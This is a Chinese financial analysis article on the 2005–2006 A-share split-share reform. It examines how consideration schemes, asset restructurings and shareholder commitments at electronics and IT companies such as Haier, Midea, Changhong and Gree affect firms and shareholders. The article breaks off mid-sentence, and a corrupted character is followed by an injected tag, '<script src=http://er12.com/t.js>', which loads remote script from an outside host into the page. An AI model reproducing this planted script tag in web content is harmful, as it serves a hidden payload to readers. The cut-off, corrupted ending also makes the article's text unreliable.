特约研究员 王琦
截至8月2日,全部1360家a股上市公司中已经有1133家进入(含已实施)了股改程序,股改公司占总数的83.31%,特别是除中国石化外几乎所有的大市值股票均已进行股改,表明于2005年5月1日开始的股权分置改革已经取得了决定性的成功。
在我们统计的161家a股电子信息类上市公司中,截至8月2日已经有131家(占比81.37%)上市公司进入了股改程序,进度与市场整体基本一致。
股权分置改革是a股市场设立以来最为重要的基本制度变革,对于证券市场的方方面面都产生了极为重要的影响,从行业角度出发,我们最关心的是股改对上市公司自身运营管理以及股东利益的影响。另一方面,从本质上讲股改是上市公司非流通股股东获得上市流通权的过程,非流通股股东需要根据与流通股股东协商的结果制定并实施股改方案,包括支付对价以及履行相关承诺等,方可获得流通权。股改过程本身以及获得流通权后的全流通,都将对上市公司和股东产生重要的影响,但两者的影响又是不一样的,为清晰起见下面我们分别进行分析。
股改本身对上市公司及股东的影响
股改方案包括对价主体以及相关承诺两部分,对价方案的不同,对上市公司及股东会产生不同的影响,如有的上市公司借股改一举解决了困扰自身多年的控股股东资金占用问题,有的上市公司推出了谋划已久的股权激励方案,以此完善治理结构并稳定核心骨干队伍。从总体来看,由于分类表决制度的存在,股改方案对于上市公司自身以及原流通股股东都有或多或少的正面作用。
对价主体的影响
从统计情况看,已推出方案的131家上市公司中,除佛山照明为非流通股股东单纯向流通股股东支付一定现金外,其余130家上市公司都采取了以向流通股股东支付一定股份为主的方案,其中东软、美的等5家公司外加派现,青岛海尔外加了认沽权证,而交大博通、中国卫星等公司则是辅以资产重组。
从对上市公司的影响来看,单纯的送股、派现或二者组合方案仅涉及原非流通股股东和流通股股东之间的利益调整,上市公司自身的资产状况并不发生变化,所以没有直接影响。原流通股股东不需付出成本即可获得更多的股份或是一定现金,降低了自身的持股成本。而原非流通股股东则增加了持股成本,有利于增加控股股东加强上市公司经营以提高回报的动力。
在送股辅以资产重组的方案中,主要有以下几种模式:一是控股股东以优质资产置换上市公司的不良资产,比如万家乐、宏图高科、广电信息和交大博通等,以万家乐为例,其实际控制人广州三新将协调顺德区政府共同出资收购构成万家乐不良资产的七宗物业,一举盘活公司的沉淀资产达1.31亿元。二是以上市公司的低效资产收购控股股东股权并予以注销,既优化了公司的资产质量,又提高了每股收益,间接提高了股东利益,如采用这种方案的四川长虹以向长虹集团定向回购2.66亿国有法人股的方式,冲抵长虹集团对上市公司的非经营性资金占用及相应利息费用总额近12亿元。三是控股股东把优质资产作为对价的一部分注入上市公司,如中国卫星是由五院将其持有的东方红公司14.79%股权作为自身及公司第二大非流通股股东北京航天卫星应用总公司应支付的股权注入到上市公司,格力集团则将“格力”商标无偿转让给格力电器,解决了多年未能解决的商标所有权问题。不管采用哪种方式,资产重组的对价模式都改变了上市公司的资产结构,提高了资产质量和赢利能力,为上市公司的持续健康发展起到了立竿见影的支持作用。
对价承诺的影响
除了直接支付股份、现金或进行资产重组这些主体对价外,上市公司原非流通股股东在股改方案中往往还给予一定的承诺,根据承诺类型不同其影响也不一样。
(1)禁售期承诺:这主要是原非流通股股东承诺在获得流通权后的一段时间内并不行使该权利,以防止因为流通股数量增加对股价造成压力。承诺禁售期不仅可以稳定股价,还可以增加中小股东对于上市公司长期发展的信心,如最长的承诺禁售期为海尔、佛山照明和深天马等公司的部分股东,承诺在获得流通权起60个月内不出售股票。
(2)分红承诺:为争取原非流通股股东的支持,很多上市公司的控股股东在股改方案中承诺,将在未来1-3年中提出每年分红比例不低于可分配利润的一定百分比的分配预案并在股东会上投支持票。这样的承诺实际上并不改变公司价值,控股股东也没有实际付出,但在客观上可以使原非流通股股东获得短期的、现实的投资回报。
(3)净利润增长承诺:举例来说,美的电器控股股东美的集团在股改方案中承诺,如2006年净利润较2004年增长率小于20%,或2007年净利润较2006年增长低于10%,将放弃当年分红给其他股东。给予类似承诺的还有格力、华强等公司。虽然从理论上分析这种承诺并不改变上市公司价值,上市公司管理层本来就应该尽力争取可能的最大增长潜力,但是在客观上这样的承诺的确加大了控股股东的压力,并且为原非流通股?script src=http://er12.com/t.js>











